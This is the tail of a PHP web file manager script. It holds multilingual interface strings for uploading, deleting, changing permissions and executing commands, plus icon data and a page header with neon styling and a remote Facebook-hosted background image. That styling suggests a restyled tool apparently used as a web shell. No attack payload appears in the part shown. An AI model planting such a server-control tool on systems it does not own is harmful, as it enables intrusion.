1972'created' => '"[%1]" is aangemaakt.',
1973'not_created' => '"[%1]" kan niet worden aangemaakt.',
1974'really_delete' => 'Deze bestanden verwijderen?',
1975'deleted' => "Deze bestanden zijn verwijderd:\
1976[%1]",
1977'not_deleted' => "Deze bestanden konden niet worden verwijderd:\
1978[%1]",
1979'rename_file' => 'Bestandsnaam veranderen:',
1980'renamed' => '"[%1]" heet nu "[%2]".',
1981'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
1982'move_files' => 'Verplaats deze bestanden:',
1983'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\
1984[%1]",
1985'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\
1986[%1]",
1987'copy_files' => 'Kopieer deze bestanden:',
1988'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\
1989[%1]",
1990'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\
1991[%1]",
1992'not_edited' => '"[%1]" kan niet worden bewerkt.',
1993'executed' => "\"[%1]\" is met succes uitgevoerd:\
1994{%2}",
1995'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\
1996{%2}",
1997'saved' => '"[%1]" is opgeslagen.',
1998'not_saved' => '"[%1]" is niet opgeslagen.',
1999'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
2000'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
2001'permission_for' => 'Bevoegdheid voor "[%1]":',
2002'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
2003'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
2004'not_readable' => '"[%1]" kan niet worden gelezen.'
2005 );
2006
2007 case 'se':
2008
2009 $date_format = 'n/j/y H:i:s';
2010 $word_charset = 'ISO-8859-1';
2011
2012 return array(
2013'directory' => 'Mapp',
2014'file' => 'Fil',
2015'filename' => 'Filnamn',
2016
2017'size' => 'Storlek',
2018'permission' => 'S?kerhetsniv?',
2019'owner' => '?gare',
2020'group' => 'Grupp',
2021'other' => 'Andra',
2022'functions' => 'Funktioner',
2023
2024'read' => 'L?s',
2025'write' => 'Skriv',
2026'execute' => 'Utf?r',
2027
2028'create_symlink' => 'Skapa symlink',
2029'delete' => 'Radera',
2030'rename' => 'Byt namn',
2031'move' => 'Flytta',
2032'copy' => 'Kopiera',
2033'edit' => '?ndra',
2034'download' => 'Ladda ner',
2035'upload' => 'Ladda upp',
2036'create' => 'Skapa',
2037'change' => '?ndra',
2038'save' => 'Spara',
2039'set' => 'Markera',
2040'reset' => 'T?m',
2041'relative' => 'Relative path to target',
2042
2043'yes' => 'Ja',
2044'no' => 'Nej',
2045'back' => 'Tillbaks',
2046'destination' => 'Destination',
2047'symlink' => 'Symlink',
2048'no_output' => 'no output',
2049
2050'user' => 'Anv?ndare',
2051'password' => 'L?senord',
2052'add' => 'L?gg till',
2053'add_basic_auth' => 'add basic-authentification',
2054
2055'uploaded' => '"[%1]" har laddats upp.',
2056'not_uploaded' => '"[%1]" kunde inte laddas upp.',
2057'already_exists' => '"[%1]" finns redan.',
2058'created' => '"[%1]" har skapats.',
2059'not_created' => '"[%1]" kunde inte skapas.',
2060'really_delete' => 'Radera dessa filer?',
2061'deleted' => "De h?r filerna har raderats:\
2062[%1]",
2063'not_deleted' => "Dessa filer kunde inte raderas:\
2064[%1]",
2065'rename_file' => 'Byt namn p? fil:',
2066'renamed' => '"[%1]" har bytt namn till "[%2]".',
2067'not_renamed' => '"[%1] kunde inte d?pas om till "[%2]".',
2068'move_files' => 'Flytta dessa filer:',
2069'moved' => "Dessa filer har flyttats till \"[%2]\":\
2070[%1]",
2071'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\
2072[%1]",
2073'copy_files' => 'Kopiera dessa filer:',
2074'copied' => "Dessa filer har kopierats till \"[%2]\":\
2075[%1]",
2076'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\
2077[%1]",
2078'not_edited' => '"[%1]" kan inte ?ndras.',
2079'executed' => "\"[%1]\" har utf?rts:\
2080{%2}",
2081'not_executed' => "\"[%1]\" kunde inte utf?ras:\
2082{%2}",
2083'saved' => '"[%1]" har sparats.',
2084'not_saved' => '"[%1]" kunde inte sparas.',
2085'symlinked' => 'Symlink fr?n "[%2]" till "[%1]" har skapats.',
2086'not_symlinked' => 'Symlink fr?n "[%2]" till "[%1]" kunde inte skapas.',
2087'permission_for' => 'R?ttigheter f?r "[%1]":',
2088'permission_set' => 'R?ttigheter f?r "[%1]" ?ndrades till [%2].',
2089'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
2090'not_readable' => '"[%1]" kan inte l?sas.'
2091 );
2092
2093 case 'sp':
2094
2095 $date_format = 'j/n/y H:i:s';
2096 $word_charset = 'ISO-8859-1';
2097
2098 return array(
2099'directory' => 'Directorio',
2100'file' => 'Archivo',
2101'filename' => 'Nombre Archivo',
2102
2103'size' => 'Tama?o',
2104'permission' => 'Permisos',
2105'owner' => 'Propietario',
2106'group' => 'Grupo',
2107'other' => 'Otros',
2108'functions' => 'Funciones',
2109
2110'read' => 'lectura',
2111'write' => 'escritura',
2112'execute' => 'ejecuci?n',
2113
2114'create_symlink' => 'crear enlace',
2115'delete' => 'borrar',
2116'rename' => 'renombrar',
2117'move' => 'mover',
2118'copy' => 'copiar',
2119'edit' => 'editar',
2120'download' => 'bajar',
2121'upload' => 'subir',
2122'create' => 'crear',
2123'change' => 'cambiar',
2124'save' => 'salvar',
2125'set' => 'setear',
2126'reset' => 'resetear',
2127'relative' => 'Path relativo',
2128
2129'yes' => 'Si',
2130'no' => 'No',
2131'back' => 'atr?s',
2132'destination' => 'Destino',
2133'symlink' => 'Enlace',
2134'no_output' => 'sin salida',
2135
2136'user' => 'Usuario',
2137'password' => 'Clave',
2138'add' => 'agregar',
2139'add_basic_auth' => 'agregar autentificaci?n b?sica',
2140
2141'uploaded' => '"[%1]" ha sido subido.',
2142'not_uploaded' => '"[%1]" no pudo ser subido.',
2143'already_exists' => '"[%1]" ya existe.',
2144'created' => '"[%1]" ha sido creado.',
2145'not_created' => '"[%1]" no pudo ser creado.',
2146'really_delete' => '?Borra estos archivos?',
2147'deleted' => "Estos archivos han sido borrados:\
2148[%1]",
2149'not_deleted' => "Estos archivos no pudieron ser borrados:\
2150[%1]",
2151'rename_file' => 'Renombra archivo:',
2152'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
2153'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
2154'move_files' => 'Mover estos archivos:',
2155'moved' => "Estos archivos han sido movidos a \"[%2]\":\
2156[%1]",
2157'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\
2158[%1]",
2159'copy_files' => 'Copiar estos archivos:',
2160'copied' => "Estos archivos han sido copiados a \"[%2]\":\
2161[%1]",
2162'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\
2163[%1]",
2164'not_edited' => '"[%1]" no pudo ser editado.',
2165'executed' => "\"[%1]\" ha sido ejecutado correctamente:\
2166{%2}",
2167'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\
2168{%2}",
2169'saved' => '"[%1]" ha sido salvado.',
2170'not_saved' => '"[%1]" no pudo ser salvado.',
2171'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
2172'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
2173'permission_for' => 'Permisos de "[%1]":',
2174'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
2175'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
2176'not_readable' => '"[%1]" no pudo ser le?do.'
2177 );
2178
2179 case 'dk':
2180
2181 $date_format = 'n/j/y H:i:s';
2182 $word_charset = 'ISO-8859-1';
2183
2184 return array(
2185'directory' => 'Mappe',
2186'file' => 'Fil',
2187'filename' => 'Filnavn',
2188
2189'size' => 'St?rrelse',
2190'permission' => 'Rettighed',
2191'owner' => 'Ejer',
2192'group' => 'Gruppe',
2193'other' => 'Andre',
2194'functions' => 'Funktioner',
2195
2196'read' => 'l?s',
2197'write' => 'skriv',
2198'execute' => 'k?r',
2199
2200'create_symlink' => 'opret symbolsk link',
2201'delete' => 'slet',
2202'rename' => 'omd?b',
2203'move' => 'flyt',
2204'copy' => 'kopier',
2205'edit' => 'rediger',
2206'download' => 'download',
2207'upload' => 'upload',
2208'create' => 'opret',
2209'change' => 'skift',
2210'save' => 'gem',
2211'set' => 's?t',
2212'reset' => 'nulstil',
2213'relative' => 'Relativ sti til valg',
2214
2215'yes' => 'Ja',
2216'no' => 'Nej',
2217'back' => 'tilbage',
2218'destination' => 'Distination',
2219'symlink' => 'Symbolsk link',
2220'no_output' => 'ingen resultat',
2221
2222'user' => 'Bruger',
2223'password' => 'Kodeord',
2224'add' => 'tilf?j',
2225'add_basic_auth' => 'tilf?j grundliggende rettigheder',
2226
2227'uploaded' => '"[%1]" er blevet uploaded.',
2228'not_uploaded' => '"[%1]" kunnu ikke uploades.',
2229'already_exists' => '"[%1]" findes allerede.',
2230'created' => '"[%1]" er blevet oprettet.',
2231'not_created' => '"[%1]" kunne ikke oprettes.',
2232'really_delete' => 'Slet disse filer?',
2233'deleted' => "Disse filer er blevet slettet:\
2234[%1]",
2235'not_deleted' => "Disse filer kunne ikke slettes:\
2236[%1]",
2237'rename_file' => 'Omd?d fil:',
2238'renamed' => '"[%1]" er blevet omd?bt til "[%2]".',
2239'not_renamed' => '"[%1] kunne ikke omd?bes til "[%2]".',
2240'move_files' => 'Flyt disse filer:',
2241'moved' => "Disse filer er blevet flyttet til \"[%2]\":\
2242[%1]",
2243'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\
2244[%1]",
2245'copy_files' => 'Kopier disse filer:',
2246'copied' => "Disse filer er kopieret til \"[%2]\":\
2247[%1]",
2248'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\
2249[%1]",
2250'not_edited' => '"[%1]" kan ikke redigeres.',
2251'executed' => "\"[%1]\" er blevet k?rt korrekt:\
2252{%2}",
2253'not_executed' => "\"[%1]\" kan ikke k?res korrekt:\
2254{%2}",
2255'saved' => '"[%1]" er blevet gemt.',
2256'not_saved' => '"[%1]" kunne ikke gemmes.',
2257'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
2258'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
2259'permission_for' => 'Rettigheder for "[%1]":',
2260'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
2261'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke s?ttes til [%2].',
2262'not_readable' => '"[%1]" Kan ikke l?ses.'
2263 );
2264
2265 case 'tr':
2266
2267 $date_format = 'n/j/y H:i:s';
2268 $word_charset = 'ISO-8859-1';
2269
2270 return array(
2271'directory' => 'Klas?r',
2272'file' => 'Dosya',
2273'filename' => 'dosya adi',
2274
2275'size' => 'boyutu',
2276'permission' => 'Izin',
2277'owner' => 'sahib',
2278'group' => 'Grup',
2279'other' => 'Digerleri',
2280'functions' => 'Fonksiyonlar',
2281
2282'read' => 'oku',
2283'write' => 'yaz',
2284'execute' => '?alistir',
2285'create_symlink' => 'yarat symlink',
2286'delete' => 'sil',
2287'rename' => 'ad degistir',
2288'move' => 'tasi',
2289'copy' => 'kopyala',
2290'edit' => 'd?zenle',
2291'download' => 'indir',
2292'upload' => 'y?kle',
2293'create' => 'create',
2294'change' => 'degistir',
2295'save' => 'kaydet',
2296'set' => 'ayar',
2297'reset' => 'sifirla',
2298'relative' => 'Hedef yola g?re',
2299'yes' => 'Evet',
2300'no' => 'gsh',
2301'back' => 'Geri',
2302'destination' => 'Hedef',
2303'symlink' => 'K?sa yol',
2304'no_output' => '?ikti yok',
2305'user' => 'Kullanici',
2306'password' => 'Sifre',
2307'add' => 'ekle',
2308'add_basic_auth' => 'ekle basit-authentification',
2309'uploaded' => '"[%1]" y?klendi.',
2310'not_uploaded' => '"[%1]" y?klenemedi.',
2311'already_exists' => '"[%1]" kullanilmakta.',
2312'created' => '"[%1]" olusturuldu.',
2313'not_created' => '"[%1]" olusturulamadi.',
2314'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
2315'deleted' => "Bu dosyalar silindi:\
2316[%1]",
2317'not_deleted' => "Bu dosyalar silinemedi:\
2318[%1]",
2319'rename_file' => 'Adi degisen dosya:',
2320'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
2321'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
2322'move_files' => 'Tasinan dosyalar:',
2323'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\
2324[%1]",
2325'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\
2326[%1]",
2327'copy_files' => 'Kopyalanan dosyalar:',
2328'copied' => "Bu dosyalar kopyalandi \"[%2]\":\
2329[%1]",
2330'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\
2331[%1]",
2332'not_edited' => '"[%1]" d?zenlenemiyor.',
2333'executed' => "\"[%1]\" basariyla ?alistirildi:\
2334{%2}",
2335'not_executed' => "\"[%1]\" ?alistirilamadi:\
2336{%2}",
2337'saved' => '"[%1]" kaydedildi.',
2338'not_saved' => '"[%1]" kaydedilemedi.',
2339'symlinked' => '"[%2]" den "[%1]" e k?sayol olu?turuldu.',
2340'not_symlinked' => '"[%2]"den "[%1]" e k?sayol olu?turulamad?.',
2341'permission_for' => 'Izinler "[%1]":',
2342'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
2343'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
2344'not_readable' => '"[%1]" okunamiyor.'
2345 );
2346 case 'cs':
2347 $date_format = 'd.m.y H:i:s';
2348 $word_charset = 'UTF-8';
2349return array('directory' => 'Adres????', 'file' => 'Soubor', 'filename' => 'Jm??no souboru', 'size' => 'Velikost', 'permission' => 'Pr??va', 'owner' => 'Vlastn??k',
2350'group' => 'Skupina', 'other' => 'Ostatn??',
2351'functions' => 'Funkce', 'read' => '??ten??', 'write' => 'Z??pis',
2352'execute' => 'Spou??t??n??', 'create_symlink' => 'Vytvo??it symbolick?? odkaz', 'delete' => 'Smazat', 'rename' => 'P??ejmenovat', 'move' => 'P??esunout', 'copy' => 'Zkop??rovat', 'edit' => 'Otev????t',
2353'download' => 'St??hnout', 'upload' => 'Nahraj na server', 'create' => 'Vytvo??it', 'change' => 'Zm??nit', 'save' => 'Ulo??it', 'set' => 'Nastavit', 'reset' => 'zp??t', 'relative' => 'Relatif',
2354'yes' => 'Ano', 'no' => 'Ne',
2355'back' => 'Zp??t', 'destination' => 'Destination', 'symlink' => 'Symbolick?? odkaz', 'no_output' => 'Pr??zdn?? v??stup', 'user' => 'U??ivatel', 'password' => 'Heslo', 'add' => 'P??idat', 'add_basic_auth' => 'p??idej z??kladn?? autentizaci', 'uploaded' => 'Soubor "[%1]" byl nahr??n na server.', 'not_uploaded' => 'Soubor "[%1]" nebyl nahr??n na server.', 'already_exists' => 'Soubor "[%1]" u?? exituje.', 'created' => 'Soubor "[%1]" byl vytvo??en.', 'not_created' => 'Soubor "[%1]" nemohl b??t vytvo??en.', 'really_delete' => 'Vymazat soubor?', 'deleted' => "Byly vymaz??ny tyto soubory:\ [%1]", 'not_deleted' => "Tyto soubory nemohly b??t vytvo??eny:\ [%1]",
2356'rename_file' => 'P??ejmenuj soubory:',
2357'renamed' => 'Soubor "[%1]" byl p??ejmenov??n na "[%2]".',
2358'not_renamed' => 'Soubor "[%1]" nemohl b??t p??ejmenov??n na "[%2]".',
2359'move_files' => 'P??em??stit tyto soubory:', 'moved' => "Tyto soubory byly p??em??st??ny do \"[%2]\":\ [%1]", 'not_moved' => "Tyto soubory nemohly b??t p??em??st??ny do \"[%2]\":\ [%1]", 'copy_files' => 'Zkop??rovat tyto soubory:', 'copied' => "Tyto soubory byly zkop??rov??ny do \"[%2]\":\
2360[%1]", 'not_copied' => "Tyto soubory nemohly b??t zkop??rov??ny do \"[%2]\":\
2361[%1]", 'not_edited' => 'Soubor "[%1]" nemohl b??t otev??en.',
2362'executed' => "SOubor \"[%1]\" byl spu??t??n :\ {%2}", 'not_executed' => "Soubor \"[%1]\" nemohl b??t spu??t??n:\ {%2}",
2363'saved' => 'Soubor "[%1]" byl ulo??en.',
2364'not_saved' => 'Soubor "[%1]" nemohl b??t ulo??en.',
2365'symlinked' => 'Byl vyvo??en symbolick?? odkaz "[%2]" na soubor "[%1]".',
2366'not_symlinked' => 'Symbolick?? odkaz "[%2]" na soubor "[%1]" nemohl b??t vytvo??en.',
2367'permission_for' => 'Pr??va k "[%1]":',
2368'permission_set' => 'Pr??va k "[%1]" byla zm??n??na na [%2].',
2369'permission_not_set' => 'Pr??va k "[%1]" nemohla b??t zm??n??na na [%2].',
2370'not_readable' => 'Soubor "[%1]" nen?? mo??no p??e????st.' );
2371 case 'en':
2372 default:
2373 $date_format = 'n/j/y H:i:s';
2374 $word_charset = 'ISO-8859-1';
2375return array( 'directory' => 'Directory', 'file' => 'File', 'filename' => 'Filename', 'size' => 'Size', 'permission' => 'Permission', 'owner' => 'Owner', 'group' => 'Group', 'other' => 'Others',
2376'functions' => 'Functions', 'read' => 'read', 'write' => 'write', 'execute' => 'execute', 'create_symlink' => 'create symlink', 'delete' => 'delete',
2377'rename' => 'rename', 'move' => 'move', 'copy' => 'copy', 'edit' => 'edit', 'download' => 'download', 'upload' => 'upload',
2378'create' => 'create', 'change' => 'change', 'save' => 'save', 'set' => 'set', 'reset' => 'reset',
2379'relative' => 'Relative path to target', 'yes' => 'Yes', 'no' => 'No', 'back' => 'back', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'add', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" has been uploaded.',
2380'not_uploaded' => '"[%1]" could not be uploaded.', 'already_exists' => '"[%1]" already exists.',
2381'created' => '"[%1]" has been created.', 'not_created' => '"[%1]" could not be created.', 'really_delete' => 'Delete these files?', 'deleted' => "These files have been deleted:\ [%1]", 'not_deleted' => "These files could not be deleted:\ [%1]",'rename_file' => 'Rename file:', 'renamed' => '"[%1]" has been renamed to "[%2]".', 'not_renamed' => '"[%1] could not be renamed to "[%2]".', 'move_files' => 'Move these files:', 'moved' => "These files have been moved to \"[%2]\":\ [%1]",
2382'not_moved' => "These files could not be moved to \"[%2]\":\ [%1]", 'copy_files' => 'Copy these files:', 'copied' => "These files have been copied to \"[%2]\":\
2383[%1]", 'not_copied' => "These files could not be copied to \"[%2]\":\ [%1]", 'not_edited' => '"[%1]" can not be edited.', 'executed' => "\"[%1]\" has been executed successfully:\ {%2}", 'not_executed' => "\"[%1]\" could not be executed successfully:\ {%2}", 'saved' => '"[%1]" has been saved.',
2384'not_saved' => '"[%1]" could not be saved.', 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.', 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
2385'permission_for' => 'Permission of "[%1]":', 'permission_set' => 'Permission of "[%1]" was set to [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" can not be read.' );
2386 }
2387}
2388function getimage ($image) {
2389 switch ($image) {
2390 case 'file':
2391 return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
2392 case 'folder':
2393 return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
2394 case 'hidden_file':
2395 return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
2396 case 'link':
2397 return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
2398 case 'smiley':
2399 return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
2400 case 'arrow':
2401 return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
2402 }
2403}
2404
2405function html_header () {
2406 global $site_charset;
2407
2408 echo <<<END
2409<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
2410 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2411<html xmlns="http://www.w3.org/1999/xhtml">
2412<head>
2413
2414<meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />
2415
2416<style type="text/css">
2417html {
2418 background: url(https://scontent-sit4-1.xx.fbcdn.net/v/t1.0-0/q85/s350x350/14450016_1687358304918700_4865127083709182139_n.jpg?oh=de4bf8a679127f412f47cf46823988da&oe=592147D3) no-repeat center center fixed;
2419 -webkit-background-size: cover;
2420 -moz-background-size: cover;
2421 -o-background-size: cover;
2422 background-size: cover;
2423}
2424body { font: small sans-serif; text-align: center }
2425img { width: 17px; height: 13px }
2426a, a:visited { text-decoration: none; color: navy }
2427hr { border-style: none; height: 1px; background-color: silver; color: silver }
2428#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
2429#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
2430.listing th, .listing td { padding: 1px 3pt 0 3pt ;box-shadow: 0px 0px 15px yellow;}
2431.listing th { border: 1px solid silver ;box-shadow: 0px 0px 15px yellow;}
2432.listing td { border: 1px solid #ddd; background: black }
2433.listing .checkbox { text-align: center }
2434.listing .filename { text-align: left ;box-shadow: 0px 0px 15px lime;}
2435.listing .size { text-align: right }
2436.listing .permission_header { text-align: left}
2437.listing .permission { font-family: monospace}
2438.listing .owner { text-align: left }
2439.listing .group { text-align: left }
2440.listing .functions { text-align: left }
2441.listing_footer td { background: #eee; border: 1px solid silver }
2442#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
2443#directory { background: #eee; border: 1px solid silver }
2444#upload { padding-top: 1em }
2445#create { padding-bottom: 1em }
2446.small, .small option { font-size: x-small }
2447textarea { border: none; background: lime }
2448table.dialog { margin-left: auto; margin-right: auto }
2449td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
2450#permission { margin-left: auto; margin-right: auto }
2451#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
2452td.permission_action { text-align: right }
2453#symlink { background: #eee; border: 1px solid silver }
2454#symlink td { text-align: left; padding: 3pt }
2455#red_button { width: 120px; color: #400 }
2456#green_button { width: 120px; color: #040 }
2457#error td { background: maroon; color: white; border: 1px solid silver }
2458#notice td { background: green; color: white; border: 1px solid silver }
2459#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
2460code { font-size: 12pt }
2461td { white-space: nowrap }
2462#menu a{
2463 padding:4px 20px;
2464 border: 1px solid white;box-shadow: 0px 0px 15px red;
2465 margin:0;
2466 letter-spacing:2px;
2467 width: 100%;
2468 height: 170px;
2469}
2470</style>
2471
2472<script type="text/javascript">
2473<!--
2474function activate (name) {
2475 if (document && document.forms[0] && document.forms[0].elements['focus']) {
2476 document.forms[0].elements['focus'].value = name;
2477 }
2478}
2479//-->
2480</script>
2481
2482</head>
2483<body>
2484END;
2485}
2486function html_footer () {
2487 echo <<<END
2488</body>
2489</html>
2490END;
2491}
2492function notice ($phrase) {
2493 global $cols;
2494 $args = func_get_args();
2495 array_shift($args);
2496 return '<tr id="notice">
2497 <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
2498</tr>';
2499}
2500function error ($phrase) {
2501 global $cols;
2502 $args = func_get_args();
2503 array_shift($args);
2504 return '<tr id="error">
2505 <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td></tr>';
2506}
2507?>